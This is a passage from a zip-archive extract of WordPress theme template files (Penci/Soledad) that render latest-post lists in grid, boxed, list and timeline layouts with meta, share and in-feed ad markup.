                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">
			<?php if ( 'yes' != $grid_cat ) : ?>
                <span class="cat"><?php penci_category( '' ); ?></span>
			<?php endif; ?>

            <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                        href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
            </<?php echo $heading_title_tag;?>>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php penci_soledad_meta_schema(); ?>
			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
                <div class="grid-post-box-meta">
					<?php if ( $grid_cat_move ) : ?>
						<span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $grid_author ) : ?>
                        <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $grid_date ) : ?>
                        <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $grid_comment_other ) : ?>
                        <span class="otherl-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $grid_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
                        <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php if ( isset( $custom_meta_key ) ) {
						echo penci_show_custom_meta_fields( $custom_meta_key );
					} ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
        </div>

		<?php if ( get_the_excerpt() && 'yes' != $grid_remove_excerpt ): ?>
            <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
				<?php 
				do_action( 'penci_before_post_excerpt' );
				penci_the_excerpt( $grid_excerpt_length, $post_id ); ?>
            </div>
		<?php endif; ?>

		<?php if ( 'yes' == $grid_add_readmore ):
			$class_button = '';
			if ( 'yes' == $grid_remove_arrow ): $class_button .= ' penci-btn-remove-arrow'; endif;
			if ( 'yes' == $grid_readmore_button ): $class_button .= ' penci-btn-make-button'; endif;
			if ( $grid_readmore_align ): $class_button .= ' penci-btn-align-' . $grid_readmore_align; endif;
			?>
            <div class="penci-readmore-btn<?php echo $class_button; ?>">
                <a class="penci-btn-readmore"
                   href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
            </div>
		<?php endif; ?>

		<?php if ( 'yes' != $grid_share_box ) : ?>
            <div class="penci-post-box-meta penci-post-box-grid">
                <div class="penci-post-share-box">
					<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
					<?php penci_soledad_social_share(); ?>
                </div>
            </div>
		<?php endif; ?>
    </article>
</li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'grid-style grid-2-style penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\4+  +  2  template-parts/latest-posts-sc/content-boxed-2.phpnu [        <?php
/**
 * Template loop for list boxed style 2
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
?>
<?php
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$thumb_size         = isset( $thumb_size ) ? $thumb_size : '';

if ( ! isset ( $x ) ) {
	$x = 1;
} else {
	$x = $x;
}

$category_oj  = get_queried_object();
$fea_cat_id   = isset( $category_oj->term_id ) ? $category_oj->term_id : '';
$cat_meta     = get_option( "category_$fea_cat_id" );
$sidebar_opts = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
$show_sidebar = false;

if ( ( penci_get_setting( 'penci_sidebar_archive' ) && $sidebar_opts != 'no' ) || $sidebar_opts == 'left' || $sidebar_opts == 'right' ) {
	$show_sidebar = true;
}

if ( is_home() ) {
	$show_sidebar = penci_get_setting( 'penci_sidebar_home' );
}
$display_val = true;
if ( ( $show_sidebar && ( $x % 2 == 0 ) ) || ( ! $show_sidebar && ( $x % 3 == 2 ) ) ) {
	$display_val = false;
}
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
    <li class="list-boxed-post-2<?php if ( ! has_post_thumbnail() ) : echo ' pc-nothumb'; endif; ?>">
        <article id="post-<?php the_ID(); ?>" class="item hentry">
            <div class="content-boxed-2 show-top<?php if ( ! has_post_thumbnail() ) : echo ' boxed-fullwidth-2'; endif; ?><?php if ( $display_val ): echo ' boxed-none'; endif; ?>">
                <div class="inner-parent-boxed-2">
                    <div class="inner-boxed-2">
						<?php if ( 'yes' != $grid_cat ) : ?>
                            <span class="cat"><?php penci_category( '' ); ?></span>
						<?php endif; ?>

                        <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                                    href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
                        </<?php echo $heading_title_tag;?>>

						<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
                            <div class="grid-post-box-meta">
								<?php if ( $grid_cat_move ) : ?>
									<span class="cat"><?php penci_category( '' ); ?></span>
								<?php endif; ?>
								<?php if ( 'yes' != $grid_author ) : ?>
                                    <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                                    penci_coauthors_posts_links();
	                                    else: ?>
                                            <a class="author-url url fn n"
                                               href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                                    <?php endif; ?></span>
								<?php endif; ?>
								<?php if ( 'yes' != $grid_date ) : ?>
                                    <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
								<?php endif; ?>
								<?php if ( 'yes' == $grid_comment_other ) : ?>
                                    <span class="otherl-comment"><a
                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
								<?php endif; ?>
								<?php
								if ( 'yes' == $grid_viewscount ) {
									echo '<span>';
									echo penci_get_post_views( get_the_ID() );
									echo ' ' . penci_get_setting( 'penci_trans_countviews' );
									echo '</span>';
								}
								?>
								<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
                                    <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
								<?php endif; ?>
								<?php if ( isset( $custom_meta_key ) ) {
		                            echo penci_show_custom_meta_fields( $custom_meta_key );
	                            } ?>
								<?php do_action( 'penci_extra_meta' ); ?>
                            </div>
						<?php endif; ?>
                    </div>
                </div>
            </div>
			<?php if ( has_post_thumbnail() ) : ?>
                <div class="thumbnail<?php if ( $display_val ) {
					echo ' arrow-bottom';
				} else {
					echo ' arrow-top';
				} ?>">
					<?php
					/* Display Review Piechart  */
					if ( function_exists( 'penci_display_piechart_review_html' ) ) {
						penci_display_piechart_review_html( get_the_ID() );
					}
					?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>"
                           href="<?php penci_permalink_fix(); ?>" title="<?php echo
						wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>');"
                           href="<?php penci_permalink_fix(); ?>"
                           title="<?php echo wp_strip_all_tags(
							   get_the_title() ); ?>"></a>
					<?php } ?>

					<?php if ( 'yes' != $grid_icon_format ): ?>
						<?php if ( has_post_format( 'video' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
						<?php endif; ?>
						<?php if ( has_post_format( 'audio' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
						<?php endif; ?>
						<?php if ( has_post_format( 'gallery' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
						<?php endif; ?>
						<?php if ( has_post_format( 'link' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
						<?php endif; ?>
						<?php if ( has_post_format( 'quote' ) ) : ?>
                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
						<?php endif; ?>
					<?php endif; ?>
                </div>
			<?php endif; ?>

            <div class="content-boxed-2 show-bottom<?php if ( ! has_post_thumbnail() ) : echo ' boxed-fullwidth-2'; endif; ?><?php if ( ! $display_val ) : echo ' boxed-none'; endif; ?>">
                <div class="inner-parent-boxed-2">
                    <div class="inner-boxed-2">
						<?php if ( 'yes' != $grid_share_box ) : ?>
                            <span class="cat"><?php penci_category( '' ); ?></span>
						<?php endif; ?>

                        <h2 class="penci-entry-title entry-title grid-title"><a
                                    href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
                        </h2>
						<?php do_action( 'penci_after_post_title' ); ?>
						<?php penci_soledad_meta_schema(); ?>
						<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
                            <div class="grid-post-box-meta">
								<?php if ( $grid_cat_move ) : ?>
									<span class="cat"><?php penci_category( '' ); ?></span>
								<?php endif; ?>
								<?php if ( 'yes' != $grid_author ) : ?>
                                    <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                                    penci_coauthors_posts_links();
	                                    else: ?>
                                            <a class="author-url url fn n"
                                               href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                                    <?php endif; ?></span>
								<?php endif; ?>
								<?php if ( 'yes' != $grid_date ) : ?>
                                    <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
								<?php endif; ?>
								<?php if ( 'yes' == $grid_comment_other ) : ?>
                                    <span class="otherl-comment"><a
                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
								<?php endif; ?>
								<?php
								if ( 'yes' == $grid_viewscount ) {
									echo '<span>';
									echo penci_get_post_views( get_the_ID() );
									echo ' ' . penci_get_setting( 'penci_trans_countviews' );
									echo '</span>';
								}
								?>
								<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
                                    <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
								<?php endif; ?>
	                            <?php if ( isset( $custom_meta_key ) ) {
		                            echo penci_show_custom_meta_fields( $custom_meta_key );
	                            } ?>
								<?php do_action( 'penci_extra_meta' ); ?>
                            </div>
						<?php endif; ?>
                    </div>
                </div>
            </div>
        </article>
    </li>

<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'list-boxed-post-2 penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>

<?php $x ++; ?>
PK     N\#)  )  7  template-parts/latest-posts-sc/content-list-boxed-3.phpnu [        <?php
/**
 * Template loop for list style
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$penci_featimg_size = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$thumb_size         = isset( $thumb_size ) ? $thumb_size : '';
$post_id = get_the_ID();
$heading_title_tag = $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
?>
<li class="list-post-3<?php if ( ! has_post_thumbnail() ) : echo ' pc-nothumb'; endif; ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
					<?php do_action( 'penci_bookmark_post' ); ?>
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible" data-auto="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>

                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size ) ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>

									<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                                        <figure class="penci-swiper-mask penci-image-holder penci-lazy"
											<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                data-bgset="<?php echo esc_url( $the_image[0] ); ?>">
                                        </figure>
									<?php } else { ?>
                                        <figure class="penci-swiper-mask penci-image-holder"
											<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                style="background-image: url('<?php echo esc_url( $the_image[0] ); ?>');">
                                        </figure>
									<?php } ?>

                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
					<?php if ( 'yes' != $grid_share_box ) : ?>
						<div class="penci-post-box-meta penci-post-box-grid penci-post-box-listpost">
							<div class="penci-post-share-box">
								<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
								<?php penci_soledad_social_share(); ?>
							</div>
						</div>
						<div class="penci-post-share-box-btn"><a href="#"><i class="penciicon-share"></i></a></div>
					<?php endif; ?>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				$thumbnail_load = penci_featured_images_size_vcel( 'normal', $penci_featimg_size, $thumb_size );
				$class_load     = '';
				if ( 'yes' == $grid_nocrop_list ):
					$thumbnail_load = 'penci-masonry-thumb';
					$class_load     = ' penci-list-nocrop-thumb';
				endif;
				?>

				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable() . $class_load; ?>"<?php if ( 'yes' == $grid_nocrop_list ): echo ' style="padding-bottom: ' . penci_get_featured_image_ratio( get_the_ID(), 'penci-masonry-thumb' ) . '%"'; endif; ?>
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbnail_load ); ?>"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } else { ?>
                    <a class="penci-image-holder<?php echo penci_class_lightbox_enable() . $class_load; ?>"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail_load ); ?>');<?php if ( 'yes' == $grid_nocrop_list ): echo 'padding-bottom: ' . penci_get_featured_image_ratio( get_the_ID(), 'penci-masonry-thumb' ) . '%;'; endif; ?>"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } ?>

				<?php if ( 'yes' != $grid_icon_format ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
				<?php if ( 'yes' != $grid_share_box ) : ?>
                <div class="penci-post-box-meta penci-post-box-grid penci-post-box-listpost">
                    <div class="penci-post-share-box">
						<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
						<?php penci_soledad_social_share(); ?>
                    </div>
                </div>
				<div class="penci-post-share-box-btn"><a href="#"><i class="penciicon-share"></i></a></div>
			<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="content-list-right content-list-center<?php if ( ! has_post_thumbnail() ) : echo ' fullwidth'; endif; ?>">
            <div class="header-list-style">
				<?php if ( 'yes' != $grid_cat ) : ?>
                    <span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>

                <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                            href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $grid_title_length ); ?></a>
                </<?php echo $heading_title_tag;?>>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php penci_soledad_meta_schema(); ?>
            </div>

			<?php if ( get_the_excerpt() && 'yes' != $grid_remove_excerpt ): ?>
                <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
					<?php 
					do_action( 'penci_before_post_excerpt' );
					penci_the_excerpt( $grid_excerpt_length, $post_id ); ?>
                </div>
			<?php endif; ?>

			<?php if ( 'yes' == $grid_add_readmore ):
				$class_button = '';
				if ( 'yes' == $grid_remove_arrow ): $class_button .= ' penci-btn-remove-arrow'; endif;
				if ( 'yes' == $grid_readmore_button ): $class_button .= ' penci-btn-make-button'; endif;
				if ( $grid_readmore_align ): $class_button .= ' penci-btn-align-' . $grid_readmore_align; endif;
				?>
                <div class="penci-readmore-btn<?php echo $class_button; ?>">
                    <a class="penci-btn-readmore"
                       href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
                </div>
			<?php endif; ?>

			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $grid_date || 'yes' != $grid_author || 'yes' == $grid_viewscount || 'yes' == $grid_comment_other || penci_isshow_reading_time( $grid_readtime ) ) : ?>
				<div class="grid-post-box-meta">
					<?php if ( $grid_cat_move ) : ?>
						<span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $grid_author ) : ?>
						<span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
								<a class="author-url url fn n"
									href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $grid_date ) : ?>
						<span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $grid_comment_other ) : ?>
						<span class="otherl-comment"><a
									href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $grid_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
						<span class="otherl-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php if ( isset( $custom_meta_key ) ) {
						echo penci_show_custom_meta_fields( $custom_meta_key );
					} ?>
					<?php do_action( 'penci_extra_meta' ); ?>
				</div>
			<?php endif; ?>

        </div>

    </article>
</li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'list-post penci-item-listp penci-infeed-data penci-infeed-vcele',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\o&74  74  3  template-parts/latest-posts-sc/content-timeline.phpnu [        <?php
/**
 * Template loop for gird 2 style
 */
if ( ! isset ( $n ) ) {
	$n = 1;
} else {
	$n = $n;
}
$post_id                 = get_the_ID();
$heading_title_tag       =  $grid_title_tag ? $grid_title_tag : 'h2';
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
$grid_cat_move = 'yes' != $grid_cat ? $grid_cat_move : false;
$grid_cat = $grid_cat_move ? 'yes' : $grid_cat;
$excerpt           = 'yes' != $grid_remove_excerpt;
$excerpt_length    = $grid_excerpt_length;
$thumbnail         = isset( $penci_featimg_size ) ? $penci_featimg_size : '';
$mthumb_size       = isset( $thumb_size ) ? $thumb_size : '';
$disable_lazy      = get_theme_mod( 'penci_disable_lazyload_layout' );
$readmore_icon     = 'yes' == $grid_remove_arrow;
$readmore_icon_pos = $grid_readmore_align;
$readmore          = 'yes' == $grid_add_readmore;
$item_part = ( $n % 2 === 0 ) ? 'right' : 'left';
$align = 'center';
$center_side = '';


if ( $align == 'center' && $center_side ) {
	$item_part = $center_side;
}

if ( ( $n % 2 === 0 && 'center' == $align && ! $center_side ) || 'right' == $center_side ) : ?>
    <div class="penci-tiline-item penci-tiline-item-date-wrap right">
        <div class="penci-tiline-date">
			<span>
				<?php penci_soledad_time_link(); ?>
			</span>
        </div>
    </div>
<?php
endif;
?>
<div class="penci-tiline-item <?php echo esc_attr( $item_part ) . '-part'; ?> main-alt-part">

    <div class="penci-tiline-item-main-wrapper">
        <div class="penci-tiline-line">
            <span></span>
        </div>
        <div class="penci-tiline-item-main-container">
			
			<?php if( 'yes' != $grid_icon_format ): ?>
            <div class="penci-tiline-icon">
				<?php if ( has_post_format( 'gallery' ) ) : ?>
                    <span><?php penci_fawesome_icon( 'far fa-image' ); ?></span>
				<?php elseif ( has_post_format( 'link' ) ) : ?>
                    <span><?php penci_fawesome_icon( 'fas fa-link' ); ?></span>
				<?php elseif ( has_post_format( 'quote' ) ) : ?>
                    <span><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></span>
				<?php elseif ( has_post_format( 'video' ) ) : ?>
                    <span><?php penci_fawesome_icon( 'fas fa-play' ); ?></span>
				<?php elseif ( has_post_format( 'audio' ) ) : ?>
                    <span><?php penci_fawesome_icon( 'fas fa-music' ); ?></span>
				<?php else : ?>
                    <span><?php penci_fawesome_icon( 'fas fa-file' ); ?></span>
				<?php endif; ?>
            </div>
			<?php endif; ?>

            <div class="penci-tiline-item-main">
                <span class="penci-tiline-arrow"></span>
                <div class="penci-clearfix penci-biggrid-wrapper penci-grid-col-1 penci-grid-mcol-1 penci-bgrid-based-post penci-bgrid-style-1 pcbg-ficonpo-top-right pcbg-reiconpo-top-left penci-bgrid-content-below pencibg-imageh-none pencibg-texth-none pencibg-textani-movetop textop pc-flexmnld">
                    <div class="penci-clearfix penci-biggrid penci-bgstyle-1 penci-bgel">
                        <div class="penci-biggrid-inner default">
                            <div class="penci-clearfix penci-biggrid-data penci-dflex">
                                <div class="penci-bgitem">
                                    <div class="penci-bgitin">
                                        <div class="penci-bgmain">
											
											<div class="pcbg-thumb">
												<?php
												do_action( 'penci_bookmark_post', get_the_ID() );
												?>
												<div class="pcbg-thumbin"><a class="pcbg-bgoverlay"
																				href="<?php the_permalink(); ?>"
																				title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
													<div <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbnail, $mthumb_size ), ! $disable_lazy ); ?>
															class="<?php echo penci_layout_bg_class( ! $disable_lazy ); ?> penci-image-holder">
														<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbnail, $mthumb_size ), get_the_title(), ! $disable_lazy ); ?>
													</div>
												</div>
											</div>
											
                                            <div class="pcbg-content">
                                                <div class="pcbg-content-flex"><a class="pcbg-bgoverlay"
                                                                                  href="<?php the_permalink(); ?>"
                                                                                  title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                                                    <div class="pcbg-content-inner bgcontent-block"><a
                                                                href="<?php the_permalink(); ?>"
                                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                                class="pcbg-bgoverlaytext item-hover"></a>

                                                        <?php if ( 'yes' != $grid_cat ) : ?>
                                                            <div class="pcbg-above item-hover">
                                                                <span class="cat pcbg-sub-title">
                                                                    <?php penci_category( '' ); ?>
                                                                </span>
                                                            </div>
														<?php endif; ?>

                                                        <div class="pcbg-heading item-hover">
															
															<h3 class="pcbg-title"
																title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
																<a href="<?php the_permalink(); ?>">
																	<?php the_title(); ?>
																</a>
															</h3>
															
                                                        </div>
                                                        <div class="grid-post-box-meta pcbg-meta item-hover">
															
                                                                <div class="pcbg-meta-desc">
                                                                    <?php if ( $grid_cat_move ) : ?>
                                                                        <span class="cat"><?php penci_category( '' ); ?></span>
                                                                    <?php endif; ?>
                                                                    <?php if ( 'yes' != $grid_author ) : ?>
                                                                    <span class="bg-date-author author-italic author vcard">
                                                                        <?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
                                                                            penci_coauthors_posts_links();
                                                                        else: ?>
                                                                            <a class="author-url url fn n"
                                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
                                                                        <?php endif; ?>
                                                                    </span>
                                                                    <?php endif; ?>
                                                                    <?php if ( 'yes' != $grid_date ) : ?>
                                                                        <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
                                                                    <?php endif; ?>
                                                                    <?php if ( 'yes' == $grid_comment_other ) : ?>
                                                                        <span class="otherl-comment"><a
                                                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
                                                                    <?php endif; ?>
                                                                    <?php
                                                                    if ( 'yes' == $grid_viewscount ) {
                                                                        echo '<span>';
                                                                        echo penci_get_post_views( get_the_ID() );
                                                                        echo ' ' . penci_get_setting( 'penci_trans_countviews' );
                                                                        echo '</span>';
                                                                    }
                                                                    ?>
                                                                    <?php if ( penci_isshow_reading_time( $grid_readtime ) ): ?>
